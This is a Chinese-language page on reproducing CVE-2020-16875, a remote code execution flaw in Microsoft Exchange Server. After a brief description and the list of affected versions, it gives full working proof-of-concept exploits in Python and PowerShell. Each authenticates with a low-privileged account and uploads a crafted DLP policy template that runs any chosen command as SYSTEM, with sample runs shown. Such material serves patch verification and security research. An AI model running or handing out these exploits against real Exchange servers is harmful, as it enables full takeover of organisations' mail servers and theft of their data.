(CVE-2020-16875)Microsoft Exchange 远程命令执行漏洞¶
一、漏洞简介¶
有安全人员公开了Exchange Server远程代码执行漏洞(CVE-2020-16875)的利用程序,此漏洞为微软在9月8日例行月度安全更新中披露;Microsoft Exchange在Internet Explorer处理内存中的对象时存在该漏洞。利用此漏洞需要具有以某个Exchange角色进行身份验证的用户权限。
攻击者可通过向受影响的Exchange服务器发送包含特殊的cmdlet参数的邮件来触发此漏洞,成功利用此漏洞的攻击者可在受影响的系统上以system权限执行任意代码。
利用条件¶
需要一个Exchange用户账号
二、漏洞影响¶
Microsoft:Exchange_server_2016: cu16/cu17
Microsoft:Exchange_server_2019: cu5/cu6
三、复现过程¶
需要一个Exchange用户账号。就能在Exchange服务器上执行任意命令。
poc¶
CVE-2020-16875.py
#!/usr/bin/env python3 """ Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875 # Notes: The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox. [PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym" Name AssignedRoles RoleAssignments ManagedBy ---- ------------- --------------- --------- dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test} [PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85 ManagedBy : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test} RoleAssignments : {Data Loss Prevention-dlp users} Roles : {Data Loss Prevention} DisplayName : ExternalDirectoryObjectId : Members : {exchangedemo.com/Users/Harry Mull} SamAccountName : dlp users Description : RoleGroupType : Standard LinkedGroup : Capabilities : {} LinkedPartnerGroupId : LinkedPartnerOrganizationId : Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users IsValid : True ExchangeVersion : 0.10 (14.0.100.0) Name : dlp users DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6 ObjectCategory : exchangedemo.com/Configuration/Schema/Group ObjectClass : {top, group} WhenChanged : 6/12/2020 11:29:31 PM WhenCreated : 6/12/2020 11:29:31 PM WhenChangedUTC : 6/12/2020 3:29:31 PM WhenCreatedUTC : 6/12/2020 3:29:31 PM OrganizationId : Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users OriginatingServer : DEAD01.exchangedemo.com ObjectState : Changed # Example: researcher@incite:~$ ./poc.py (+) usage: ./poc.py <target> <user:pass> <cmd> (+) eg: ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint researcher@incite:~$ ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint (+) logged in as harrym@exchangedemo.com (+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5 (+) executed mspaint as SYSTEM! """ import re import sys import random import string import urllib3 import requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def random_string(str_len=8): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(str_len)) def get_xml(c): return """<?xml version="1.0" encoding="UTF-8"?> <dlpPolicyTemplates> <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0"> <contentVersion>4</contentVersion> <publisherName>si</publisherName> <name> <localizedString lang="en"></localizedString> </name> <description> <localizedString lang="en"></localizedString> </description> <keywords></keywords> <ruleParameters></ruleParameters> <policyCommands> <commandBlock> <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]> </commandBlock> </policyCommands> <policyCommandsResources></policyCommandsResources> </dlpPolicyTemplate> </dlpPolicyTemplates>""" % c def trigger_rce(t, s, vs, cmd): f = { '__VIEWSTATE': (None, vs), 'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"), 'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()), 'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)), } r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False) assert r.status_code == 200, "(-) failed to trigger rce!" def leak_viewstate(t, s): r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False) match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text) assert match != None, "(-) couldn't leak the __viewstate!" return match.group(1) def log_in(t, usr, pwd): s = requests.Session() d = { "destination": "https://%s/owa" % t, "flags": "", "username": usr, "password": pwd } s.post("https://%s/owa/auth.owa" % t, data=d, verify=False) assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!" return s def main(t, usr, pwd, cmd): s = log_in(t, usr, pwd) print("(+) logged in as %s" % usr) vs = leak_viewstate(t, s) print("(+) found the __viewstate: %s" % vs) trigger_rce(t, s, vs, cmd) print("(+) executed %s as SYSTEM!" % cmd) if __name__ == '__main__': if len(sys.argv) != 4: print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0]) print("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0]) sys.exit(-1) trgt = sys.argv[1] assert ":" in sys.argv[2], "(-) you need a user and password!" usr = sys.argv[2].split(":")[0] pwd = sys.argv[2].split(":")[1] cmd = sys.argv[3] main(trgt, usr, pwd, cmd) powershell版本: # Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability # Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875 # # Notes: # # The (ab)user needs the "Data Loss Prevention" role assigned # [PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym" # # Name AssignedRoles RoleAssignments ManagedBy # ---- ------------- --------------- --------- # dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test} # # # [PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List # # RunspaceId : 098e1140-30e3-4144-8028-2174fdb43b85 # ManagedBy : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test} # RoleAssignments : {Data Loss Prevention-dlp users} # Roles : {Data Loss Prevention} # DisplayName : # ExternalDirectoryObjectId : # Members : {exchangedemo.com/Users/Harry Mull} # SamAccountName : dlp users # Description : # RoleGroupType : Standard # LinkedGroup : # Capabilities : {} # LinkedPartnerGroupId : # LinkedPartnerOrganizationId : # Identity : exchangedemo.com/Microsoft Exchange Security Groups/dlp users # IsValid : True # ExchangeVersion : 0.10 (14.0.100.0) # Name : dlp users # DistinguishedName : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com # Guid : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6 # ObjectCategory : exchangedemo.com/Configuration/Schema/Group # ObjectClass : {top, group} # WhenChanged : 6/12/2020 11:29:31 PM # WhenCreated : 6/12/2020 11:29:31 PM # WhenChangedUTC : 6/12/2020 3:29:31 PM # WhenCreatedUTC : 6/12/2020 3:29:31 PM # OrganizationId : # Id : exchangedemo.com/Microsoft Exchange Security Groups/dlp users # OriginatingServer : DEAD01.exchangedemo.com # ObjectState : Changed # # Example: # # PS C:\Users\researcher> .\poc.ps1 -server WIN-0K4AOM2JIN6.exchangedemo.com -usr harrym@exchangedemo.com -pwd user123### -cmd mspaint # (+) targeting WIN-0K4AOM2JIN6.exchangedemo.com with harrym@exchangedemo.com:user123### # (+) executed mspaint as SYSTEM! # PS C:\Users\researcher> param ( [Parameter(Mandatory=$true)][string]$server, [Parameter(Mandatory=$true)][string]$usr, [Parameter(Mandatory=$true)][string]$pwd, [string]$cmd = "mspaint" ) Function Get-RandomAlphanumericString { [CmdletBinding()] Param ( [int] $length = 8 ) Process{ Write-Output ( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count $length | % {[char]$_}) ) } } function Exploit-Exchange { Param ( [string] $server, [string] $usr, [string] $pwd, [string] $cmd ) "(+) targeting $server with ${usr}:$pwd" $securepwd = ConvertTo-SecureString $pwd -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($usr, $securepwd) $s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$server/PowerShell/ -Authentication Kerberos -Credential $creds $xml = @" <dlpPolicyTemplates> <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0"> <contentVersion>4</contentVersion> <publisherName>si</publisherName> <name> <localizedString lang="en"></localizedString> </name> <description> <localizedString lang="en"></localizedString> </description> <keywords></keywords> <ruleParameters></ruleParameters> <policyCommands> <commandBlock> <![CDATA[ `$i=New-object System.Diagnostics.ProcessStartInfo;`$i.UseShellExecute=`$true;`$i.FileName="cmd";`$i.Arguments="/c $cmd";`$r=New-Object System.Diagnostics.Process;`$r.StartInfo=`$i;`$r.Start() ]]> </commandBlock> </policyCommands> <policyCommandsResources></policyCommandsResources> </dlpPolicyTemplate> </dlpPolicyTemplates>"@ $n = Get-RandomAlphanumericString [Byte[]]$d = [System.Text.Encoding]::UTF8.GetBytes($xml) Invoke-Command -Session $s -ScriptBlock { New-DlpPolicy -Name $Using:n -TemplateData $Using:d } | Out-Null "(+) executed $cmd as SYSTEM!" } Get-PSSession | Remove-PSSession Exploit-Exchange -server $server -usr $usr -pwd $pwd -cmd $cmd